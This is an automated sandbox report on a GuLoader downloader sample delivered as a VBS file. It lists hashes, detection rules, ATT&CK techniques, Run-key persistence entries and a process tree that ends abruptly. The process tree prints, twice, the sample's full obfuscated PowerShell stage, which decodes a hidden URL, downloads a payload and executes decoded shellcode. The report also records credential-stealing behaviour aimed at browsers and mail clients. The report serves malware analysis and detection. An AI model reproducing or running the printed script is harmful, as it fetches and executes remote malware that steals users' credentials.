guloader | 0895ad5d19828edc6d17054edb6d9eebdec60e587167716f2271bd683290aaf8

Analysis

max time kernel
151s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0895ad5d19828edc6d17054edb6d9eebdec60e587167716f2271bd683290aaf8.vbs
Size 8KB
Sample240427-bdhaqsfe93
SHA256 0895ad5d19828edc6d17054edb6d9eebdec60e587167716f2271bd683290aaf8
MD5 d0d8e78e99c4c59061e7caa5d254e8e9
SHA1 f06eff42be48b3ff12d8597fc4a155a293ed4236
SHA512 32541443ea184311f837a8f9e03d3c7bed2190d577309909482908bf32ee4552e2868ab413601c7ee3f555fe43a6687d7e5b7a88cc23a7c5d88f3710c937dd31
SSDEEP 192:CXa/1TKd7tWSdiIJ+qdNkV8pH6QM562IfDkyjFzx:CX21aIKvu8pHFt2chjVx
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Detects executables built or packed with MPress PE compressor 12 IoCs

resource	yara_rule
behavioral2/memory/1060-53-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/64-54-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3484-58-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/64-60-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1060-59-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3484-57-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/64-63-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1060-62-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3484-61-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1180-80-0x00000000204E0000-0x00000000204F9000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1180-79-0x00000000204E0000-0x00000000204F9000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1180-76-0x00000000204E0000-0x00000000204F9000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/64-63-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/64-63-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/64-63-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1060-62-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/64-63-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1060-62-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3484-61-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	3248	powershell.exe
81	5032	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Vibeka = "%Pneumatorrhachis% -w 1 $Salpeterholdiges=(Get-ItemProperty -Path 'HKCU:\\Quicker\\').Savvy;%Pneumatorrhachis% ($Salpeterholdiges)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bynkefugls = "%Deciduate% -w 1 $Xdiv=(Get-ItemProperty -Path 'HKCU:\\Clouters\\').Slapperne;%Deciduate% ($Xdiv)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs

pid	Process
1180	wab.exe
1180	wab.exe
1868	wab.exe
1868	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4872	powershell.exe
1180	wab.exe
3616	powershell.exe
1868	wab.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4872 set thread context of 1180	4872	powershell.exe	108
PID 1180 set thread context of 1060	1180	wab.exe	114
PID 1180 set thread context of 64	1180	wab.exe	115
PID 1180 set thread context of 3484	1180	wab.exe	116
PID 3616 set thread context of 1868	3616	powershell.exe	124

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4332	reg.exe
3604	reg.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
3248	powershell.exe
3248	powershell.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
3484	wab.exe
3484	wab.exe
1060	wab.exe
1060	wab.exe
1060	wab.exe
1060	wab.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe
1868	wab.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
4872	powershell.exe
1180	wab.exe
1180	wab.exe
1180	wab.exe
1180	wab.exe
1180	wab.exe
3616	powershell.exe
3616	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	3484	wab.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	3616	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1180	wab.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3256 wrote to memory of 3248	3256	WScript.exe	94
PID 3256 wrote to memory of 3248	3256	WScript.exe	94
PID 3248 wrote to memory of 3584	3248	powershell.exe	96
PID 3248 wrote to memory of 3584	3248	powershell.exe	96
PID 3248 wrote to memory of 4872	3248	powershell.exe	101
PID 3248 wrote to memory of 4872	3248	powershell.exe	101
PID 3248 wrote to memory of 4872	3248	powershell.exe	101
PID 4872 wrote to memory of 4064	4872	powershell.exe	105
PID 4872 wrote to memory of 4064	4872	powershell.exe	105
PID 4872 wrote to memory of 4064	4872	powershell.exe	105
PID 4872 wrote to memory of 1180	4872	powershell.exe	108
PID 4872 wrote to memory of 1180	4872	powershell.exe	108
PID 4872 wrote to memory of 1180	4872	powershell.exe	108
PID 4872 wrote to memory of 1180	4872	powershell.exe	108
PID 4872 wrote to memory of 1180	4872	powershell.exe	108
PID 1180 wrote to memory of 1140	1180	wab.exe	109
PID 1180 wrote to memory of 1140	1180	wab.exe	109
PID 1180 wrote to memory of 1140	1180	wab.exe	109
PID 1140 wrote to memory of 4332	1140	cmd.exe	111
PID 1140 wrote to memory of 4332	1140	cmd.exe	111
PID 1140 wrote to memory of 4332	1140	cmd.exe	111
PID 1180 wrote to memory of 4300	1180	wab.exe	112
PID 1180 wrote to memory of 4300	1180	wab.exe	112
PID 1180 wrote to memory of 4300	1180	wab.exe	112
PID 1180 wrote to memory of 2764	1180	wab.exe	113
PID 1180 wrote to memory of 2764	1180	wab.exe	113
PID 1180 wrote to memory of 2764	1180	wab.exe	113
PID 1180 wrote to memory of 1060	1180	wab.exe	114
PID 1180 wrote to memory of 1060	1180	wab.exe	114
PID 1180 wrote to memory of 1060	1180	wab.exe	114
PID 1180 wrote to memory of 1060	1180	wab.exe	114
PID 1180 wrote to memory of 64	1180	wab.exe	115
PID 1180 wrote to memory of 64	1180	wab.exe	115
PID 1180 wrote to memory of 64	1180	wab.exe	115
PID 1180 wrote to memory of 64	1180	wab.exe	115
PID 1180 wrote to memory of 3484	1180	wab.exe	116
PID 1180 wrote to memory of 3484	1180	wab.exe	116
PID 1180 wrote to memory of 3484	1180	wab.exe	116
PID 1180 wrote to memory of 3484	1180	wab.exe	116
PID 1180 wrote to memory of 3548	1180	wab.exe	117
PID 1180 wrote to memory of 3548	1180	wab.exe	117
PID 1180 wrote to memory of 3548	1180	wab.exe	117
PID 3548 wrote to memory of 5032	3548	WScript.exe	118
PID 3548 wrote to memory of 5032	3548	WScript.exe	118
PID 3548 wrote to memory of 5032	3548	WScript.exe	118
PID 5032 wrote to memory of 1812	5032	powershell.exe	120
PID 5032 wrote to memory of 1812	5032	powershell.exe	120
PID 5032 wrote to memory of 1812	5032	powershell.exe	120
PID 5032 wrote to memory of 3616	5032	powershell.exe	121
PID 5032 wrote to memory of 3616	5032	powershell.exe	121
PID 5032 wrote to memory of 3616	5032	powershell.exe	121
PID 3616 wrote to memory of 5064	3616	powershell.exe	122
PID 3616 wrote to memory of 5064	3616	powershell.exe	122
PID 3616 wrote to memory of 5064	3616	powershell.exe	122
PID 3616 wrote to memory of 4292	3616	powershell.exe	123
PID 3616 wrote to memory of 4292	3616	powershell.exe	123
PID 3616 wrote to memory of 4292	3616	powershell.exe	123
PID 3616 wrote to memory of 1868	3616	powershell.exe	124
PID 3616 wrote to memory of 1868	3616	powershell.exe	124
PID 3616 wrote to memory of 1868	3616	powershell.exe	124
PID 3616 wrote to memory of 1868	3616	powershell.exe	124
PID 3616 wrote to memory of 1868	3616	powershell.exe	124
PID 1868 wrote to memory of 1840	1868	wab.exe	125
PID 1868 wrote to memory of 1840	1868	wab.exe	125

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0895ad5d19828edc6d17054edb6d9eebdec60e587167716f2271bd683290aaf8.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$gdnings = 1;$Tripetalous='S';$Tripetalous+='ubstrin';$Tripetalous+='g';Function Teucrium($Gdskes){$Expirable=$Gdskes.Length-$gdnings;For($Heltemodiges=4; $Heltemodiges -lt $Expirable; $Heltemodiges+=(5)){$Mirakeldoktorerne+=$Gdskes.$Tripetalous.Invoke($Heltemodiges, $gdnings);}$Mirakeldoktorerne;}function Regulerbare($Reticularia){& ($Bestandigst) ($Reticularia);}$Planlggelserne235=Teucrium 'LeopMC,mpo Croz FreiPrpol.hrilM rgaBri /Pree5 C r. Hex0Pl n Embr( ha,W Po iHemon.lgndPreeo eksw,olisSttt ,ppNupt T Yie Red1ud.i0 Mul.Fodb0 Ska; Skr AssuWByttiOvernSe.s6.oti4El.x; Tre DepexWhis6U mo4 De,;Vsk, Alir,entv Stt:.aus1,esu2 Pic1Fagb.Cryp0 M t)W.tc D.lgGOpree npcTrickStigoSkgg/,jle2 Kry0 Me 1S lt0Stoc0Cruo1Frkk0Sahu1Skru KontFSkaniPertrUpcre Kiaf ValoNdrixLavr/Konv1Floc2Scou1Appl.,ont0Stru ';$improvers=Teucrium 'ArbeUDoubsTaleePianrTarv-,rogATwitgSclae P.lnte stKlas ';$Ovariectomize=Teucrium 'A rthSemit MastSuffpDykksNonp: Saa/Nedj/OrtoeGensu Lymrjyd.oPimepBegirNgomoF,rst Jere,agncanstt FidiSocieVir,. T sr.fproCh.r/GlasMTri,e CiktArb,hmargiSemin AaskNice1phle. TaktNonrhKdlsnOver ';$Astor=Teucrium 'Nonf> nd ';$Bestandigst=Teucrium ' PleiL.doeSp,lxSkit ';$Executry203='smittefaren';Regulerbare (Teucrium 'pugiSTecoePelstDeta-ventCFl.loDelinInddtPrepeTilbnFreet Taa Lill-Ex.ePBehea.psot Ab hPeri RakeT K,o:Gemm\AdjuNTartvBossn oce MatlTemps,obbeeu,o. FortEpipxEsthtBifr Whis-GarbV RefaTor lUndeuBoreeHyl Pier$BlysE remxRe.peBigacDionuBnsktNonsr A,kyDoci2Nedv0Term3r,ma; Men ');Regulerbare (Teucrium 'Untri Ov.fHaem Sal,(Tudbt Brue Kunsapp tZebr- alpNo sa .irt O qh Bi NoneTGerm:Ecot\Re pNdor v Ston Mone AcelToilsAgroeAfsk.Tre.tFro x DeptHjlp)Euph{QuiceAfsyxKvadiTe.rtSqui}M,le;Mi.l ');$Teariness = Teucrium 'FrereDynecScrahimp.o Gid brul%.ddea,uffp Hi pFilhdMadnaNi,at Ma,aSkum%Ha g\BeavPOv rr NoleDiscs Mani iklgDiagnPappa t,slVed 2Shir3Bu g.syndH,alla Konl Uni Fl,&Pose&Eate BylieBillcAfhohPanto Kns Ve s$tota ';Regulerbare (Teucrium 'P.lu$C.shgMa,tlAbonoEnthbAspeaUsorlK ap:Fores Timu Av,bAn ri Alinram,sOprre FrerConjtSpariUn coCronnKass= Tek(Sprnc KremDertdM.lj Felt/ HaycMerc Over$romeT ,rleLeveaScrur Pa.i MisnKalde orrsRaglsBewh)Wamu ');Regulerbare (Teucrium 'Sku,$HavigAcrolD.inoVipebLmlea banlM rk: EarTDiobaWeevaUdbyl Ly mAffao F,rdB,rti C,ag Spkh Udse.ndbdAmin= Con$ tevOCarov.atra OdorPolyiRepreOvercTordtSor.oStorm acciBe,nzSamdeBybu.Mil,srek.pr onlDhoti usttLivs(afsk$ .obA RegsBrantDivioGeinrD.mo)A.me ');$Ovariectomize=$Taalmodighed[0];Regulerbare (Teucrium ' bra$ lobg MallT.lfoT rbbAfh.aSenelS,co:Pos D IderBerbiMetof A itlinesGimbp ProrGlewoEumeb Kval Skaedispm U seSkrur PensNois=.kvaND ugePaliw Vul- HarO egabArmojFlereAldrc F.rtCy e Man SUna yN nssBkketTabeeF,rgmHakk.Dis.N Exte BritBar,.BrieWEthieFan,bEfteCSaltlManni.lideBrnenBaa,t Tem ');Regulerbare (Teucrium 'foli$ rusDPleorAmtsiKlokfovertA sesRolap Te.rCil.oUdlubCretlG,beeInfomUndeeUnd,rUnp,sGod,.SkraHIndpeAgerahided AlleTromrBvens Tep[Appl$Rri.iHoa,mDispp QuerhereoK mmvHjsleInd rAltesPaup]Conv=Trla$TromP vanlgubeaPerenRe slShrugSa vgUnqueHos,lBedss pseeConsr AutnItereslie2 Vre3Utop5 Bea ');$Republicanisms=Teucrium 'ResiDDe fr yniPosefStymt S ysShampFathr Traocardb SmdlPhote AcymOrdfe Ar,rMonosS ar.LndeDBrano H jw tilnKaoll ,igoAfpraTho dMiniFrykki upelDd.deAnal(Sult$St,cOPeriv SpaaAntarUly iScapePicncBedetRadio NonmBigaiPseuzTrkve Afg,Unbl$FlygFRet,eFri.lUnsptAlmelU.etaLet.zRefraAcourAduneDeput onetU,rue PrgrpergsNor.)lith ';$Republicanisms=$subinsertion[1]+$Republicanisms;$Feltlazaretters=$subinsertion[0];Regulerbare (Teucrium 'Symp$dhurg HonlS,lvoMultbOldfaUdmal ,ns:in.tT Hala StrkInhas,ntrtundegUn drFor nShidsKateeSpirrP.emnConveIzvo= lue(S udT AfkeIngrsSweatSoen-SynfPUd.ra LabtUsaahMowt Sang$StorF T neAtoml .oatShovlBlesaAbalz Br.aHjrerDeraeTekstLinstGymneForerPseusG.rd)Glg, ');while (!$Takstgrnserne) {Regulerbare (Teucrium 'Navn$ Exag C.al BoroB,gnbOveraUn cl B s:Th rMSkome U,sjIngreCi.ft.ptarSpors S ukNaileOleirSejrnButaeTrussSkls= Fje$Birkt AllrT.uduOp heTh,o ') ;Regulerbare $Republicanisms;Regulerbare (Teucrium 'SnydSLenit BroaAfr rBundtR.ac- MavSTy,ol iseIndfeafskp af Ento4 Exo ');Regulerbare (Teucrium 'Anal$AnargStralSemioB,isbGen aAfdrlSemi:FdreTInt.aNedrkGru.sTinst UnfgPidgrPolynSkr sLivse .rorLadenFarmeDiam= App(chanTsitueBrofsBisttLyss-DispPHoloaWhitt ClihTha, Femr$ .erFHense.ormlBed,t GanlNovaaManuzUdbeabivurUbele DjitEpiltechiePnser acsSkjo) B n ') ;Regulerbare (Teucrium 'H,rn$Blyag,arblD troS.edb Stia MinlNonf:InfoIBah nBlougFrdee Avin.looiAnnirFun,f epi DetrOmvlmHjemaunlieSkatrSkygsUnsi= ,ur$AdfrgUhenlLoq o KrlbKr,ga,eamlDelt:AcetP leplKi ka B,ad BauaVollr BozoMet mLageaCani+Chry+ .al%Arki$Sem T Fusa EmbaE.sklReasmMut.oThord .uli DatgSpith,aadeReakd Swi. Elec,andoUnswuGlucnSil.tHe,t ') ;$Ovariectomize=$Taalmodighed[$Ingenirfirmaers];}Regulerbare (Teucrium '.orf$,tedgHvall Ov,oBranbTrakaka fl Rat: DorRove aGenelsp,npTr.shUnst To,d= lan Dia,GDiskeMatitDebi-CionCEfteo brunAuditlsble Mu,n Sastalde Mas$ PerFHyoee BielSelvtclitlMimiaTelezA,tiaEns,r ,teeSobbtAurotF rleSuperMasosLysd ');Regulerbare (Teucrium 'grns$TissgFolklF buoOverbG nsa ejalS.in:Ce tM Si,eRottt NonaAntilFootbTheae AlcaKlimrTruniPurgnLitogRae Gene=Vivi re,o[ Tr SChilyDybtsPal.tBruseAfprmHuma.HutcCRetsoDonanR miv UddeSubtrApp tCh c]V lk: Kvi:etamFBillrUl.roSjusmOilsBStataL.mpsPoteeStud6Saml4ErhvS P,ltSterrIl,kiAse,nUnpagTret(Es h$GeolR GreaMultlDiskpLuerhs,ig)Ofre ');Regulerbare (Teucrium 'A pa$LedegParalexcro UnrbInveaR gslHigh:FangRPilsa WittSameiTilfoStasnVarieAfler phon ag eRo ss Tri Diso=Pene Pa [KrafSBa syBaldsStuctKon.eTrolm tab.Sam TEnt e.remx .attSupe. dklEPoinnDrejcKn.vo Ko,d ChaiCessnP.rag,ult]Im,o:Pasf:PartAforgS F,rCCapeI,oteIGl.d.RekyG .heeC phtha.dS Ru,tB.ndrPi,iiPectn .leg Uns( onu$AtomM ,oeeKon tMul,aIllulBehabPom,eLeksa.nanrPerpiUnshnForegDybf)P.ak ');Regulerbare (Teucrium 'Nod $ UdjgembrlMineoSt.mbM loaTelelkont:Ar,hFRe veSyslrD.lmrGiobiFoerm ParaDisegSkotn At e BiatPs,uiPlyic Tak=R ma$BasiR,oraatekntParcibl,noH emnFa.ie BesrantinKrepeMikssgrun. ac.sN.npu .tebSodasPirotBrnerSkreiBygenRattgDimi(Magu3S lp2Step0Gros2 Maj5Anis7 at, haa2St.g8 Pol9Omgi8Amer1Gear)Bl c ');Regulerbare $Ferrimagnetic;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Presignal23.Hal && echo $"
    3⤵
    PID:3584
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$gdnings = 1;$Tripetalous='S';$Tripetalous+='ubstrin';$Tripetalous+='g';Function Teucrium($Gdskes){$Expirable=$Gdskes.Length-$gdnings;For($Heltemodiges=4; $Heltemodiges -lt $Expirable; $Heltemodiges+=(5)){$Mirakeldoktorerne+=$Gdskes.$Tripetalous.Invoke($Heltemodiges, $gdnings);}$Mirakeldoktorerne;}function Regulerbare($Reticularia){& ($Bestandigst) ($Reticularia);}$Planlggelserne235=Teucrium 'LeopMC,mpo Croz FreiPrpol.hrilM rgaBri /Pree5 C r. Hex0Pl n Embr( ha,W Po iHemon.lgndPreeo eksw,olisSttt ,ppNupt T Yie Red1ud.i0 Mul.Fodb0 Ska; Skr AssuWByttiOvernSe.s6.oti4El.x; Tre DepexWhis6U mo4 De,;Vsk, Alir,entv Stt:.aus1,esu2 Pic1Fagb.Cryp0 M t)W.tc D.lgGOpree npcTrickStigoSkgg/,jle2 Kry0 Me 1S lt0Stoc0Cruo1Frkk0Sahu1Skru KontFSkaniPertrUpcre Kiaf ValoNdrixLavr/Konv1Floc2Scou1Appl.,ont0Stru ';$improvers=Teucrium 'ArbeUDoubsTaleePianrTarv-,rogATwitgSclae P.lnte stKlas ';$Ovariectomize=Teucrium 'A rthSemit MastSuffpDykksNonp: Saa/Nedj/OrtoeGensu Lymrjyd.oPimepBegirNgomoF,rst Jere,agncanstt FidiSocieVir,. T sr.fproCh.r/GlasMTri,e CiktArb,hmargiSemin AaskNice1phle. TaktNonrhKdlsnOver ';$Astor=Teucrium 'Nonf> nd ';$Bestandigst=Teucrium ' PleiL.doeSp,lxSkit ';$Executry203='smittefaren';Regulerbare (Teucrium 'pugiSTecoePelstDeta-ventCFl.loDelinInddtPrepeTilbnFreet Taa Lill-Ex.ePBehea.psot Ab hPeri RakeT K,o:Gemm\AdjuNTartvBossn oce MatlTemps,obbeeu,o. FortEpipxEsthtBifr Whis-GarbV RefaTor lUndeuBoreeHyl Pier$BlysE remxRe.peBigacDionuBnsktNonsr A,kyDoci2Nedv0Term3r,ma; Men ');Regulerbare (Teucrium 'Untri Ov.fHaem Sal,(Tudbt Brue Kunsapp tZebr- alpNo sa .irt O qh Bi NoneTGerm:Ecot\Re pNdor v Ston Mone AcelToilsAgroeAfsk.Tre.tFro x DeptHjlp)Euph{QuiceAfsyxKvadiTe.rtSqui}M,le;Mi.l ');$Teariness = Teucrium 'FrereDynecScrahimp.o Gid brul%.ddea,uffp Hi pFilhdMadnaNi,at Ma,aSkum%Ha g\BeavPOv rr NoleDiscs Mani iklgDiagnPappa t,slVed 2Shir3Bu g.syndH,alla Konl Uni Fl,&Pose&Eate BylieBillcAfhohPanto Kns Ve s$tota ';Regulerbare (Teucrium 'P.lu$C.shgMa,tlAbonoEnthbAspeaUsorlK ap:Fores Timu Av,bAn ri Alinram,sOprre FrerConjtSpariUn coCronnKass= Tek(Sprnc KremDertdM.lj Felt/ HaycMerc Over$romeT ,rleLeveaScrur Pa.i MisnKalde orrsRaglsBewh)Wamu ');Regulerbare (Teucrium 'Sku,$HavigAcrolD.inoVipebLmlea banlM rk: EarTDiobaWeevaUdbyl Ly mAffao F,rdB,rti C,ag Spkh Udse.ndbdAmin= Con$ tevOCarov.atra OdorPolyiRepreOvercTordtSor.oStorm acciBe,nzSamdeBybu.Mil,srek.pr onlDhoti usttLivs(afsk$ .obA RegsBrantDivioGeinrD.mo)A.me ');$Ovariectomize=$Taalmodighed[0];Regulerbare (Teucrium ' bra$ lobg MallT.lfoT rbbAfh.aSenelS,co:Pos D IderBerbiMetof A itlinesGimbp ProrGlewoEumeb Kval Skaedispm U seSkrur PensNois=.kvaND ugePaliw Vul- HarO egabArmojFlereAldrc F.rtCy e Man SUna yN nssBkketTabeeF,rgmHakk.Dis.N Exte BritBar,.BrieWEthieFan,bEfteCSaltlManni.lideBrnenBaa,t Tem ');Regulerbare (Teucrium 'foli$ rusDPleorAmtsiKlokfovertA sesRolap Te.rCil.oUdlubCretlG,beeInfomUndeeUnd,rUnp,sGod,.SkraHIndpeAgerahided AlleTromrBvens Tep[Appl$Rri.iHoa,mDispp QuerhereoK mmvHjsleInd rAltesPaup]Conv=Trla$TromP vanlgubeaPerenRe slShrugSa vgUnqueHos,lBedss pseeConsr AutnItereslie2 Vre3Utop5 Bea ');$Republicanisms=Teucrium 'ResiDDe fr yniPosefStymt S ysShampFathr Traocardb SmdlPhote AcymOrdfe Ar,rMonosS ar.LndeDBrano H jw tilnKaoll ,igoAfpraTho dMiniFrykki upelDd.deAnal(Sult$St,cOPeriv SpaaAntarUly iScapePicncBedetRadio NonmBigaiPseuzTrkve Afg,Unbl$FlygFRet,eFri.lUnsptAlmelU.etaLet.zRefraAcourAduneDeput onetU,rue PrgrpergsNor.)lith ';$Republicanisms=$subinsertion[1]+$Republicanisms;$Feltlazaretters=$subinsertion[0];Regulerbare (Teucrium 'Symp$dhurg HonlS,lvoMultbOldfaUdmal ,ns:in.tT Hala StrkInhas,ntrtundegUn drFor nShidsKateeSpirrP.emnConveIzvo= lue(S udT AfkeIngrsSweatSoen-SynfPUd.ra LabtUsaahMowt Sang$StorF T neAtoml .oatShovlBlesaAbalz Br.aHjrerDeraeTekstLinstGymneForerPseusG.rd)Glg, ');while (!$Takstgrnserne) {Regulerbare (Teucrium 'Navn$ Exag C.al BoroB,gnbOveraUn cl B s:Th rMSkome U,sjIngreCi.ft.ptarSpors S ukNaileOleirSejrnButaeTrussSkls= Fje$Birkt AllrT.uduOp heTh,o ') ;Regulerbare $Republicanisms;Regulerbare (Teucrium 'SnydSLenit BroaAfr rBundtR.ac- MavSTy,ol iseIndfeafskp af Ento4 Exo ');Regulerbare (Teucrium 'Anal$AnargStralSemioB,isbGen aAfdrlSemi:FdreTInt.aNedrkGru.sTinst UnfgPidgrPolynSkr sLivse .rorLadenFarmeDiam= App(chanTsitueBrofsBisttLyss-DispPHoloaWhitt ClihTha, Femr$ .erFHense.ormlBed,t GanlNovaaManuzUdbeabivurUbele DjitEpiltechiePnser acsSkjo) B n ') ;Regulerbare (Teucrium 'H,rn$Blyag,arblD troS.edb Stia MinlNonf:InfoIBah nBlougFrdee Avin.looiAnnirFun,f epi DetrOmvlmHjemaunlieSkatrSkygsUnsi= ,ur$AdfrgUhenlLoq o KrlbKr,ga,eamlDelt:AcetP leplKi ka B,ad BauaVollr BozoMet mLageaCani+Chry+ .al%Arki$Sem T Fusa EmbaE.sklReasmMut.oThord .uli DatgSpith,aadeReakd Swi. Elec,andoUnswuGlucnSil.tHe,t ') ;$Ovariectomize=$Taalmodighed[$Ingenirfirmaers];}Regulerbare (Teucrium '.orf$,tedgHvall Ov,oBranbTrakaka fl Rat: DorRove aGenelsp,npTr.shUnst To,d= lan Dia,GDiskeMatitDebi-CionCEfteo brunAuditlsble Mu,n Sastalde Mas$ PerFHyoee BielSelvtclitlMimiaTelezA,tiaEns,r ,teeSobbtAurotF rleSuperMasosLysd ');Regulerbare (Teucrium 'grns$TissgFolklF buoOverbG nsa ejalS.in:Ce tM Si,eRottt NonaAntilFootbTheae AlcaKlimrTruniPurgnLitogRae Gene=Vivi re,o[ Tr SChilyDybtsPal.tBruseAfprmHuma.HutcCRetsoDonanR miv UddeSubtrApp tCh c]V lk: Kvi:etamFBillrUl.roSjusmOilsBStataL.mpsPoteeStud6Saml4ErhvS P,ltSterrIl,kiAse,nUnpagTret(Es h$GeolR GreaMultlDiskpLuerhs,ig)Ofre ');Regulerbare (Teucrium 'A pa$LedegParalexcro UnrbInveaR gslHigh:FangRPilsa WittSameiTilfoStasnVarieAfler phon ag eRo ss Tri Diso=Pene Pa [KrafSBa syBaldsStuctKon.eTrolm tab.Sam TEnt e.remx .attSupe. dklEPoinnDrejcKn.vo Ko,d ChaiCessnP.rag,ult]Im,o:Pasf:PartAforgS F,rCCapeI,oteIGl.d.RekyG .heeC phtha.dS Ru,tB.ndrPi,iiPectn .leg Uns( onu$AtomM ,oeeKon tMul,aIllulBehabPom,eLeksa.nanrPerpiUnshnForegDybf)P.ak ');Regulerbare (Teucrium 'Nod $ UdjgembrlMineoSt.mbM loaTelelkont:Ar,hFRe veSyslrD.lmrGiobiFoerm ParaDisegSkotn At e BiatPs,uiPlyic Tak=R ma$BasiR,oraatekntParcibl,noH emnFa.ie BesrantinKrepeMikssgrun. ac.sN.npu .tebSodasPirotBrnerSkreiBygenRattgDimi(Magu3S lp2Step0Gros2 Maj5Anis7 at, haa2St.g8 Pol9Omgi8Amer1Gear)Bl c ');Regulerbare $Ferrimagnetic;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Presignal23.Hal && echo $"
      4⤵
      PID:4064
  - - C:\Program Files (x86)\windows mail\wab.exe
